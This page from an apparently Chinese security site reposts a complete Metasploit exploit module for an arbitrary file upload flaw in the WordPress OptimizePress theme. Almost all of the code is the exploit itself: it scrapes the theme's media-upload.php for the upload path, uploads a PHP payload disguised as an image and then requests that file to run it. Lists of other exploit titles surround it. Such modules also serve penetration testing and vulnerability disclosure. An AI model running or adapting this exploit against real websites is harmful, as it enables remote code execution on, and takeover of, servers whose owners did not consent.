首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WordPress OptimizePress Theme File Upload
来源:metasploit.com 作者:Mekanismen 发布时间:2013-12-03  

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'WordPress OptimizePress Theme File Upload Vulnerability',
      'Description'     => %q{
        This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
        vulnerability is due to an insecure file upload on the media-upload.php component, allowing
        an attacker to upload arbitrary PHP code. This module has been tested successfully on
        OptimizePress 1.45.
      },
      'Author'          =>
        [
          'United of Muslim Cyber Army', # Vulnerability discovery
          'Mekanismen' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
        ],
      'Privileged'      => false,
      'Platform'        => ['php'],
      'Arch'            => ARCH_PHP,
      'Targets'         => [ ['OptimizePress', {}] ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Nov 29 2013'
    ))

    register_advanced_options(
      [
        OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
      ])
  end

  def check
    uri = target_uri.path
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    uri = normalize_uri(target_uri.path)

    #get upload filepath
    print_status("#{peer} - Getting the upload path...")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
    end

    if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
      file_path = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
    end

    #set cookie
    cookie = res.get_cookies

    filename = rand_text_alphanumeric(8) + ".php"

    #upload payload
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
    post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
    post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")

    print_status("#{peer} - Uploading PHP payload...")

    n_data = post_data.to_s
    n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
      'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
      'data' => n_data,
      'headers' => {
        'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
      },
      'cookie' => cookie
    })

    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
    end

    print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
    #get path to payload
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
    end

    payload_url = ""

    if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
      payload_url =$1
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
    end

    begin
      u = URI(payload_url)
    rescue ::URI::InvalidURIError
      fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
    end

    register_files_for_cleanup(File::basename(u.path))

    print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
    send_request_cgi({
      'method' => 'GET',
      'uri' => u.path
    })
  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco Prime Data Center Networ
·Kimai v0.9.2 'db_restore.php'
·Total Video Player 1.3.1 (Sett
·Steinberg MyMp3PRO v5.0 Buffer
·Static Http Server 1.0 - Denia
·Steinberg MyMp3PRO v5.0 SEH Bu
·TP-Link TL-WR740N / TL-WR740ND
·Steinberg MyMp3PRO v5.0 DEP By
·ZIP Password Recovery Professi
·Windows NDPROXY Local SYSTEM P
·Kingsoft Office Writer 2012 8.
·Firefox FBTest 1.12b4 Command
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved